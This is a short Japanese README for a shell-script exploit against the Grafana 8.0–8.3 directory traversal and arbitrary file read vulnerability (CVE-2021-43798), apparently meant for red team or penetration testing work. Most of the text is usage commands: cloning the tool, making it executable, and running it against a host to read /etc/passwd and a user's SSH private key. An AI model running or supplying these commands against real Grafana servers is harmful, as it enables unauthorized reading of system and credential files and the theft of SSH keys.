
Grafana におけるディレクトリトラバーサルと任意ファイル読み取り
Grafanaにおけるディレクトリトラバーサルおよび任意ファイル読み取り
著者:
Wagner Alves - Red Teamアナリスト
このエクスプロイトは、Grafana 8.0〜8.3のディレクトリトラバーサルおよび任意ファイル読み取りの脆弱性を悪用し、/etc/passwd、/etc/hosts、/home/user/.ssh/id_rsa、/etc/os-releaseなどの興味深いファイルを読み取ることができます。
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa